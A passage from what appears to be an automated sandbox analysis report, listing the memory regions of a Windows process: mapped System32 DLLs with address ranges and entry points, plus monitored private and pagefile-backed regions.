filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll")
Region:
id = 670
start_va = 0x7ffc68410000
end_va = 0x7ffc684f5fff
monitored = 0
entry_point = 0x7ffc6842cf10
region_type = mapped_file
name = "usermgr.dll"
filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll")
Region:
id = 671
start_va = 0x7ffc68770000
end_va = 0x7ffc68af1fff
monitored = 0
entry_point = 0x7ffc687c1220
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 672
start_va = 0x7ffc68b00000
end_va = 0x7ffc68c35fff
monitored = 0
entry_point = 0x7ffc68b2f350
region_type = mapped_file
name = "wintypes.dll"
filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll")
Region:
id = 673
start_va = 0x7ffc69d30000
end_va = 0x7ffc69e3dfff
monitored = 0
entry_point = 0x7ffc69d7eaa0
region_type = mapped_file
name = "mrmcorer.dll"
filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll")
Region:
id = 674
start_va = 0x7ffc6a220000
end_va = 0x7ffc6a236fff
monitored = 0
entry_point = 0x7ffc6a225630
region_type = mapped_file
name = "sens.dll"
filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")
Region:
id = 675
start_va = 0x7ffc6a240000
end_va = 0x7ffc6a289fff
monitored = 0
entry_point = 0x7ffc6a24ac30
region_type = mapped_file
name = "deviceaccess.dll"
filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll")
Region:
id = 676
start_va = 0x7ffc6a290000
end_va = 0x7ffc6a2cdfff
monitored = 0
entry_point = 0x7ffc6a29a050
region_type = mapped_file
name = "logoncli.dll"
filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")
Region:
id = 677
start_va = 0x7ffc6a2d0000
end_va = 0x7ffc6a2f6fff
monitored = 0
entry_point = 0x7ffc6a2d3bf0
region_type = mapped_file
name = "profsvcext.dll"
filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll")
Region:
id = 678
start_va = 0x7ffc6a340000
end_va = 0x7ffc6a3d1fff
monitored = 0
entry_point = 0x7ffc6a38a780
region_type = mapped_file
name = "msvcp110_win.dll"
filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll")
Region:
id = 679
start_va = 0x7ffc6a460000
end_va = 0x7ffc6a472fff
monitored = 0
entry_point = 0x7ffc6a4657f0
region_type = mapped_file
name = "themeservice.dll"
filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")
Region:
id = 680
start_va = 0x7ffc6a4b0000
end_va = 0x7ffc6a4cefff
monitored = 0
entry_point = 0x7ffc6a4b4960
region_type = mapped_file
name = "ncprov.dll"
filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll")
Region:
id = 681
start_va = 0x7ffc6a4d0000
end_va = 0x7ffc6a549fff
monitored = 0
entry_point = 0x7ffc6a4f7630
region_type = mapped_file
name = "es.dll"
filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")
Region:
id = 682
start_va = 0x7ffc6a550000
end_va = 0x7ffc6a5a4fff
monitored = 0
entry_point = 0x7ffc6a55fc00
region_type = mapped_file
name = "profsvc.dll"
filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")
Region:
id = 683
start_va = 0x7ffc6a5b0000
end_va = 0x7ffc6a5ddfff
monitored = 0
entry_point = 0x7ffc6a5b7550
region_type = mapped_file
name = "netjoin.dll"
filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll")
Region:
id = 684
start_va = 0x7ffc6a5e0000
end_va = 0x7ffc6a5effff
monitored = 0
entry_point = 0x7ffc6a5e2c60
region_type = mapped_file
name = "usermgrcli.dll"
filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll")
Region:
id = 685
start_va = 0x7ffc6a5f0000
end_va = 0x7ffc6a605fff
monitored = 0
entry_point = 0x7ffc6a5f1b60
region_type = mapped_file
name = "wkscli.dll"
filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")
Region:
id = 686
start_va = 0x7ffc6a630000
end_va = 0x7ffc6a693fff
monitored = 0
entry_point = 0x7ffc6a645ae0
region_type = mapped_file
name = "wevtapi.dll"
filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")
Region:
id = 687
start_va = 0x7ffc6a6a0000
end_va = 0x7ffc6a6acfff
monitored = 0
entry_point = 0x7ffc6a6a2ca0
region_type = mapped_file
name = "csystemeventsbrokerclient.dll"
filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll")
Region:
id = 688
start_va = 0x7ffc6a6b0000
end_va = 0x7ffc6a6defff
monitored = 0
entry_point = 0x7ffc6a6b8910
region_type = mapped_file
name = "wptaskscheduler.dll"
filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll")
Region:
id = 689
start_va = 0x7ffc6a8a0000
end_va = 0x7ffc6a90dfff
monitored = 0
entry_point = 0x7ffc6a8a7f60
region_type = mapped_file
name = "taskcomp.dll"
filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")
Region:
id = 690
start_va = 0x7ffc6a910000
end_va = 0x7ffc6a920fff
monitored = 0
entry_point = 0x7ffc6a913320
region_type = mapped_file
name = "wmiclnt.dll"
filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll")
Region:
id = 691
start_va = 0x7ffc6a930000
end_va = 0x7ffc6a970fff
monitored = 0
entry_point = 0x7ffc6a947eb0
region_type = mapped_file
name = "ubpm.dll"
filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll")
Region:
id = 692
start_va = 0x7ffc6a980000
end_va = 0x7ffc6aa7bfff
monitored = 0
entry_point = 0x7ffc6a9b6df0
region_type = mapped_file
name = "schedsvc.dll"
filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")
Region:
id = 693
start_va = 0x7ffc6aab0000
end_va = 0x7ffc6aae5fff
monitored = 0
entry_point = 0x7ffc6aac0070
region_type = mapped_file
name = "xmllite.dll"
filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")
Region:
id = 694
start_va = 0x7ffc6b2b0000
end_va = 0x7ffc6b36efff
monitored = 0
entry_point = 0x7ffc6b2d1c50
region_type = mapped_file
name = "taskschd.dll"
filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")
Region:
id = 695
start_va = 0x7ffc6b450000
end_va = 0x7ffc6b459fff
monitored = 0
entry_point = 0x7ffc6b451660
region_type = mapped_file
name = "dsrole.dll"
filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")
Region:
id = 696
start_va = 0x7ffc6b460000
end_va = 0x7ffc6b477fff
monitored = 0
entry_point = 0x7ffc6b465910
region_type = mapped_file
name = "nlaapi.dll"
filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")
Region:
id = 697
start_va = 0x7ffc6b480000
end_va = 0x7ffc6b5ccfff
monitored = 0
entry_point = 0x7ffc6b4c3da0
region_type = mapped_file
name = "gpsvc.dll"
filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")
Region:
id = 698
start_va = 0x7ffc6b7e0000
end_va = 0x7ffc6b7e7fff
monitored = 0
entry_point = 0x7ffc6b7e13e0
region_type = mapped_file
name = "dabapi.dll"
filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll")
Region:
id = 699
start_va = 0x7ffc6b820000
end_va = 0x7ffc6b85ffff
monitored = 0
entry_point = 0x7ffc6b831960
region_type = mapped_file
name = "brokerlib.dll"
filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll")
Region:
id = 700
start_va = 0x7ffc6ba80000
end_va = 0x7ffc6bf12fff
monitored = 0
entry_point = 0x7ffc6ba8f760
region_type = mapped_file
name = "actxprxy.dll"
filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")
Region:
id = 701
start_va = 0x7ffc6bf20000
end_va = 0x7ffc6bf86fff
monitored = 0
entry_point = 0x7ffc6bf3e710
region_type = mapped_file
name = "bcp47langs.dll"
filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll")
Region:
id = 702
start_va = 0x7ffc6c840000
end_va = 0x7ffc6c9c5fff
monitored = 0
entry_point = 0x7ffc6c88d700
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 703
start_va = 0x7ffc6c9d0000
end_va = 0x7ffc6c9ebfff
monitored = 0
entry_point = 0x7ffc6c9d37a0
region_type = mapped_file
name = "samlib.dll"
filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")
Region:
id = 704
start_va = 0x7ffc6c9f0000
end_va = 0x7ffc6ca0cfff
monitored = 0
entry_point = 0x7ffc6c9f4f60
region_type = mapped_file
name = "appinfo.dll"
filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll")
Region:
id = 705
start_va = 0x7ffc6ca30000
end_va = 0x7ffc6ca42fff
monitored = 0
entry_point = 0x7ffc6ca32760
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 706
start_va = 0x7ffc6cba0000
end_va = 0x7ffc6cc18fff
monitored = 0
entry_point = 0x7ffc6cbbfb90
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 707
start_va = 0x7ffc6cd00000
end_va = 0x7ffc6cd26fff
monitored = 0
entry_point = 0x7ffc6cd07940
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 708
start_va = 0x7ffc6cd30000
end_va = 0x7ffc6cdd9fff
monitored = 0
entry_point = 0x7ffc6cd57910
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 709
start_va = 0x7ffc6cde0000
end_va = 0x7ffc6cedffff
monitored = 0
entry_point = 0x7ffc6ce20f80
region_type = mapped_file
name = "twinapi.appcore.dll"
filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll")
Region:
id = 710
start_va = 0x7ffc6cf70000
end_va = 0x7ffc6cf7bfff
monitored = 0
entry_point = 0x7ffc6cf72480
region_type = mapped_file
name = "sysntfy.dll"
filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll")
Region:
id = 711
start_va = 0x7ffc6d140000
end_va = 0x7ffc6d171fff
monitored = 0
entry_point = 0x7ffc6d152340
region_type = mapped_file
name = "fwbase.dll"
filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")
Region:
id = 712
start_va = 0x7ffc6d2b0000
end_va = 0x7ffc6d2bbfff
monitored = 0
entry_point = 0x7ffc6d2b2790
region_type = mapped_file
name = "hid.dll"
filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll")
Region:
id = 713
start_va = 0x7ffc6d2c0000
end_va = 0x7ffc6d2e3fff
monitored = 0
entry_point = 0x7ffc6d2c3260
region_type = mapped_file
name = "gpapi.dll"
filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")
Region:
id = 714
start_va = 0x7ffc6d460000
end_va = 0x7ffc6d553fff
monitored = 0
entry_point = 0x7ffc6d46a960
region_type = mapped_file
name = "ucrtbase.dll"
filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")
Region:
id = 715
start_va = 0x7ffc6d5b0000
end_va = 0x7ffc6d5f8fff
monitored = 0
entry_point = 0x7ffc6d5ba090
region_type = mapped_file
name = "authz.dll"
filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")
Region:
id = 716
start_va = 0x7ffc6d6d0000
end_va = 0x7ffc6d6dbfff
monitored = 0
entry_point = 0x7ffc6d6d27e0
region_type = mapped_file
name = "netutils.dll"
filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")
Region:
id = 717
start_va = 0x7ffc6d7b0000
end_va = 0x7ffc6d7e0fff
monitored = 0
entry_point = 0x7ffc6d7b7d10
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 718
start_va = 0x7ffc6d810000
end_va = 0x7ffc6d889fff
monitored = 0
entry_point = 0x7ffc6d831a50
region_type = mapped_file
name = "schannel.dll"
filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")
Region:
id = 719
start_va = 0x7ffc6d8d0000
end_va = 0x7ffc6d903fff
monitored = 0
entry_point = 0x7ffc6d8eae70
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 720
start_va = 0x7ffc6d910000
end_va = 0x7ffc6d919fff
monitored = 0
entry_point = 0x7ffc6d911830
region_type = mapped_file
name = "dpapi.dll"
filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll")
Region:
id = 721
start_va = 0x7ffc6da20000
end_va = 0x7ffc6da3efff
monitored = 0
entry_point = 0x7ffc6da25d30
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 722
start_va = 0x7ffc6db90000
end_va = 0x7ffc6dbebfff
monitored = 0
entry_point = 0x7ffc6dba6f70
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 723
start_va = 0x7ffc6dc40000
end_va = 0x7ffc6dc56fff
monitored = 0
entry_point = 0x7ffc6dc479d0
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 724
start_va = 0x7ffc6dd60000
end_va = 0x7ffc6dd6afff
monitored = 0
entry_point = 0x7ffc6dd619a0
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 725
start_va = 0x7ffc6dda0000
end_va = 0x7ffc6ddc0fff
monitored = 0
entry_point = 0x7ffc6ddb0250
region_type = mapped_file
name = "joinutil.dll"
filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll")
Region:
id = 726
start_va = 0x7ffc6ddf0000
end_va = 0x7ffc6de29fff
monitored = 0
entry_point = 0x7ffc6ddf8d20
region_type = mapped_file
name = "ntasn1.dll"
filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll")
Region:
id = 727
start_va = 0x7ffc6de30000
end_va = 0x7ffc6de56fff
monitored = 0
entry_point = 0x7ffc6de40aa0
region_type = mapped_file
name = "ncrypt.dll"
filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")
Region:
id = 728
start_va = 0x7ffc6df40000
end_va = 0x7ffc6df6cfff
monitored = 0
entry_point = 0x7ffc6df59d40
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 729
start_va = 0x7ffc6e0d0000
end_va = 0x7ffc6e125fff
monitored = 0
entry_point = 0x7ffc6e0e0bf0
region_type = mapped_file
name = "winsta.dll"
filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")
Region:
id = 730
start_va = 0x7ffc6e130000
end_va = 0x7ffc6e148fff
monitored = 0
entry_point = 0x7ffc6e135e10
region_type = mapped_file
name = "eventaggregation.dll"
filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll")
Region:
id = 731
start_va = 0x7ffc6e150000
end_va = 0x7ffc6e178fff
monitored = 0
entry_point = 0x7ffc6e164530
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 732
start_va = 0x7ffc6e180000
end_va = 0x7ffc6e218fff
monitored = 0
entry_point = 0x7ffc6e1af4e0
region_type = mapped_file
name = "sxs.dll"
filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")
Region:
id = 733
start_va = 0x7ffc6e2c0000
end_va = 0x7ffc6e2d3fff
monitored = 0
entry_point = 0x7ffc6e2c52e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 734
start_va = 0x7ffc6e2e0000
end_va = 0x7ffc6e32afff
monitored = 0
entry_point = 0x7ffc6e2e35f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 735
start_va = 0x7ffc6e330000
end_va = 0x7ffc6e33efff
monitored = 0
entry_point = 0x7ffc6e333210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 736
start_va = 0x7ffc6e340000
end_va = 0x7ffc6e34ffff
monitored = 0
entry_point = 0x7ffc6e3456e0
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 737
start_va = 0x7ffc6e350000
end_va = 0x7ffc6e3a4fff
monitored = 0
entry_point = 0x7ffc6e367970
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")
Region:
id = 738
start_va = 0x7ffc6e3b0000
end_va = 0x7ffc6e435fff
monitored = 0
entry_point = 0x7ffc6e3bd8f0
region_type = mapped_file
name = "firewallapi.dll"
filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")
Region:
id = 739
start_va = 0x7ffc6e440000
end_va = 0x7ffc6e627fff
monitored = 0
entry_point = 0x7ffc6e46ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 740
start_va = 0x7ffc6e630000
end_va = 0x7ffc6e6e4fff
monitored = 0
entry_point = 0x7ffc6e6722e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 741
start_va = 0x7ffc6e6f0000
end_va = 0x7ffc6e706fff
monitored = 0
entry_point = 0x7ffc6e6f1390
region_type = mapped_file
name = "netapi32.dll"
filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")
Region:
id = 742
start_va = 0x7ffc6e7c0000
end_va = 0x7ffc6e829fff
monitored = 0
entry_point = 0x7ffc6e7f6d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 743
start_va = 0x7ffc6e830000
end_va = 0x7ffc6ee73fff
monitored = 0
entry_point = 0x7ffc6e9f64b0
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 744
start_va = 0x7ffc6ee80000
end_va = 0x7ffc6eec2fff
monitored = 0
entry_point = 0x7ffc6ee94b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 745
start_va = 0x7ffc6eed0000
end_va = 0x7ffc6f096fff
monitored = 0
entry_point = 0x7ffc6ef2db80
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 746
start_va = 0x7ffc6f0a0000
end_va = 0x7ffc6f160fff
monitored = 0
entry_point = 0x7ffc6f0c0da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 747
start_va = 0x7ffc6f180000
end_va = 0x7ffc6f1dbfff
monitored = 0
entry_point = 0x7ffc6f19b720
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 748
start_va = 0x7ffc6f240000
end_va = 0x7ffc6f395fff
monitored = 0
entry_point = 0x7ffc6f24a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 749
start_va = 0x7ffc6f3b0000
end_va = 0x7ffc6f4cbfff
monitored = 0
entry_point = 0x7ffc6f3f02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 750
start_va = 0x7ffc6f4d0000
end_va = 0x7ffc6f56cfff
monitored = 0
entry_point = 0x7ffc6f4d78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 751
start_va = 0x7ffc6f570000
end_va = 0x7ffc6f7ecfff
monitored = 0
entry_point = 0x7ffc6f644970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 752
start_va = 0x7ffc6f7f0000
end_va = 0x7ffc6fc18fff
monitored = 0
entry_point = 0x7ffc6f818740
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")
Region:
id = 753
start_va = 0x7ffc6fc80000
end_va = 0x7ffc6fd2cfff
monitored = 0
entry_point = 0x7ffc6fc981a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 754
start_va = 0x7ffc6fd30000
end_va = 0x7ffc6fd9afff
monitored = 0
entry_point = 0x7ffc6fd490c0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")
Region:
id = 755
start_va = 0x7ffc6fda0000
end_va = 0x7ffc6ff25fff
monitored = 0
entry_point = 0x7ffc6fdeffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 756
start_va = 0x7ffc6ff30000
end_va = 0x7ffc6ffd6fff
monitored = 0
entry_point = 0x7ffc6ff3b4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 757
start_va = 0x7ffc701b0000
end_va = 0x7ffc7170efff
monitored = 0
entry_point = 0x7ffc703111f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 758
start_va = 0x7ffc71710000
end_va = 0x7ffc71852fff
monitored = 0
entry_point = 0x7ffc71738210
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 759
start_va = 0x7ffc71860000
end_va = 0x7ffc718bafff
monitored = 0
entry_point = 0x7ffc718738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 760
start_va = 0x7ffc71a70000
end_va = 0x7ffc71a77fff
monitored = 0
entry_point = 0x7ffc71a71ea0
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")
Region:
id = 761
start_va = 0x7ffc71a80000
end_va = 0x7ffc71ad1fff
monitored = 0
entry_point = 0x7ffc71a8f530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 762
start_va = 0x7ffc71ae0000
end_va = 0x7ffc71b86fff
monitored = 0
entry_point = 0x7ffc71af58d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 763
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 766
start_va = 0x3cfd300000
end_va = 0x3cfd3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd300000"
filename = ""
Region:
id = 767
start_va = 0x3cfd400000
end_va = 0x3cfd4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd400000"
filename = ""
Region:
id = 768
start_va = 0x3cfd500000
end_va = 0x3cfd5fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd500000"
filename = ""
Region:
id = 769
start_va = 0x3cfd600000
end_va = 0x3cfd6fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd600000"
filename = ""
Region:
id = 866
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 1039
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 1547
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 1655
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 2112
start_va = 0x1dc76460000
end_va = 0x1dc76460fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000001dc76460000"
filename = ""
Region:
id = 2171
start_va = 0x3cfd700000
end_va = 0x3cfd7fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd700000"
filename = ""
Region:
id = 2172
start_va = 0x7ffc59c20000
end_va = 0x7ffc59d3cfff
monitored = 0
entry_point = 0x7ffc59c4fe60
region_type = mapped_file
name = "qmgr.dll"
filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll")
Region:
id = 2173
start_va = 0x3cfd800000
end_va = 0x3cfd87ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000003cfd800000"
filename = ""
Region:
id = 2174
start_va = 0x7ffc6a4a0000
end_va = 0x7ffc6a4aafff
monitored = 0
entry_point = 0x7ffc6a4a1de0
region_type = mapped_file
name = "bitsperf.dll"
filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll")
Region:
id = 2175
start_va = 0x1dc76e00000
end_va = 0x1dc76f06fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc76e00000"
filename = ""
Region:
id = 2176
start_va = 0x1dc77b00000
end_va = 0x1dc77cfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000001dc77b00000"
filename = ""
Region:
id = 2177
start_va = 0x1dc77b00000
end_va = 0x1dc77bfffff
monitored = 1
entry_point = 0x0
region_type = private
